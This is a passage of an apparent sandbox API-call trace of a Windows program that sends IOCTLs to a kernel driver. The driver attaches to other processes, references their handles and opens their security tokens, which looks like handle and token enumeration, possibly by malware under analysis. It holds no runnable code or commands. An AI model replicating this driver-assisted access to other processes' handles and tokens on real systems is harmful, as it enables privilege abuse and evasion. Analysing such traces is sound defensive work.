dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0114.018] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.018] PsAcquireProcessExitSynchronization () returned 0x0 [0114.018] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880055905d0) [0114.018] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020a0c70, HandleInformation=0x0) returned 0x0 [0114.018] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.018] PsReleaseProcessExitSynchronization () returned 0x2 [0114.018] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0114.018] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.018] ObfDereferenceObject (Object=0xfffffa80020a0c70) returned 0x1 [0114.018] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.018] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.018] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.018] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.018] PsAcquireProcessExitSynchronization () returned 0x0 [0114.018] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880055905d0) [0114.018] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.019] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.019] PsReleaseProcessExitSynchronization () returned 0x2 [0114.019] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0114.019] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.019] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.019] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.019] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.019] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8f0) returned 0xc0 [0114.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.019] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001fabb30, HandleInformation=0x0) returned 0x0 [0114.019] ObOpenObjectByPointer (in: Object=0xfffffa8001fabb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0114.019] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x12 [0114.019] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0114.019] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0114.019] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.019] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.019] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.020] CloseHandle (hObject=0xc8) returned 1 [0114.020] CloseHandle (hObject=0xc0) returned 1 [0114.020] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.039] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.039] PsAcquireProcessExitSynchronization () returned 0x0 [0114.039] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880055905d0) [0114.039] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020a3620, HandleInformation=0x0) returned 0x0 [0114.039] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.040] PsReleaseProcessExitSynchronization () returned 0x2 [0114.040] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0114.040] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.040] ObfDereferenceObject (Object=0xfffffa80020a3620) returned 0x1 [0114.040] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.040] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0114.040] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.040] PsAcquireProcessExitSynchronization () returned 0x0 [0114.040] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880055905d0) [0114.040] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019ac6b0, HandleInformation=0x0) returned 0x0 [0114.040] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.040] PsReleaseProcessExitSynchronization () returned 0x2 [0114.040] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0114.040] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.040] ObfDereferenceObject (Object=0xfffffa80019ac6b0) returned 0x1 [0114.040] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.040] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.040] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.040] PsAcquireProcessExitSynchronization () returned 0x0 [0114.040] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880055905d0) [0114.040] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.040] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.040] PsReleaseProcessExitSynchronization () returned 0x2 [0114.040] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0114.040] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.040] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.040] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.041] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.041] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x900) returned 0xc0 [0114.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.041] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002052460, HandleInformation=0x0) returned 0x0 [0114.041] ObOpenObjectByPointer (in: Object=0xfffffa8002052460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0114.041] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x12 [0114.041] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0114.041] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0114.041] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.041] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.041] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.107] CloseHandle (hObject=0xc8) returned 1 [0114.107] CloseHandle (hObject=0xc0) returned 1 [0114.107] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.107] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.107] PsAcquireProcessExitSynchronization () returned 0x0 [0114.107] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880055905d0) [0114.107] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002052d90, HandleInformation=0x0) returned 0x0 [0114.107] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.107] PsReleaseProcessExitSynchronization () returned 0x2 [0114.107] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0114.107] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.107] ObfDereferenceObject (Object=0xfffffa8002052d90) returned 0x1 [0114.108] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.108] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.108] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.108] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.108] PsAcquireProcessExitSynchronization () returned 0x0 [0114.108] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880055905d0) [0114.108] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020401a0, HandleInformation=0x0) returned 0x0 [0114.108] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.108] PsReleaseProcessExitSynchronization () returned 0x2 [0114.108] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0114.108] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.108] ObfDereferenceObject (Object=0xfffffa80020401a0) returned 0x1 [0114.108] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.108] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.108] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.108] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.108] PsAcquireProcessExitSynchronization () returned 0x0 [0114.108] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880055905d0) [0114.108] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.108] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.108] PsReleaseProcessExitSynchronization () returned 0x2 [0114.108] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0114.108] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.108] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.108] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.108] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.108] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x910) returned 0xc0 [0114.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.109] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002067b30, HandleInformation=0x0) returned 0x0 [0114.109] ObOpenObjectByPointer (in: Object=0xfffffa8002067b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.109] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x12 [0114.109] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.109] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.109] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.109] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.109] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.110] CloseHandle (hObject=0xc8) returned 1 [0114.110] CloseHandle (hObject=0xc0) returned 1 [0114.110] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.110] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.110] PsAcquireProcessExitSynchronization () returned 0x0 [0114.110] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880055905d0) [0114.110] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020627a0, HandleInformation=0x0) returned 0x0 [0114.111] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.111] PsReleaseProcessExitSynchronization () returned 0x2 [0114.111] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0114.111] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.111] ObfDereferenceObject (Object=0xfffffa80020627a0) returned 0x1 [0114.111] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.111] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.111] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.111] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.111] PsAcquireProcessExitSynchronization () returned 0x0 [0114.111] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880055905d0) [0114.111] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002068800, HandleInformation=0x0) returned 0x0 [0114.111] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.111] PsReleaseProcessExitSynchronization () returned 0x2 [0114.111] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0114.111] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.111] ObfDereferenceObject (Object=0xfffffa8002068800) returned 0x1 [0114.111] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.111] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.111] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.111] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.111] PsAcquireProcessExitSynchronization () returned 0x0 [0114.111] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880055905d0) [0114.111] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.111] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.111] PsReleaseProcessExitSynchronization () returned 0x2 [0114.111] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0114.111] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.112] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.112] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.112] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.112] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x920) returned 0xc0 [0114.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.112] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800207e5f0, HandleInformation=0x0) returned 0x0 [0114.112] ObOpenObjectByPointer (in: Object=0xfffffa800207e5f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.112] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x12 [0114.112] ZwOpenProcessToken (in: 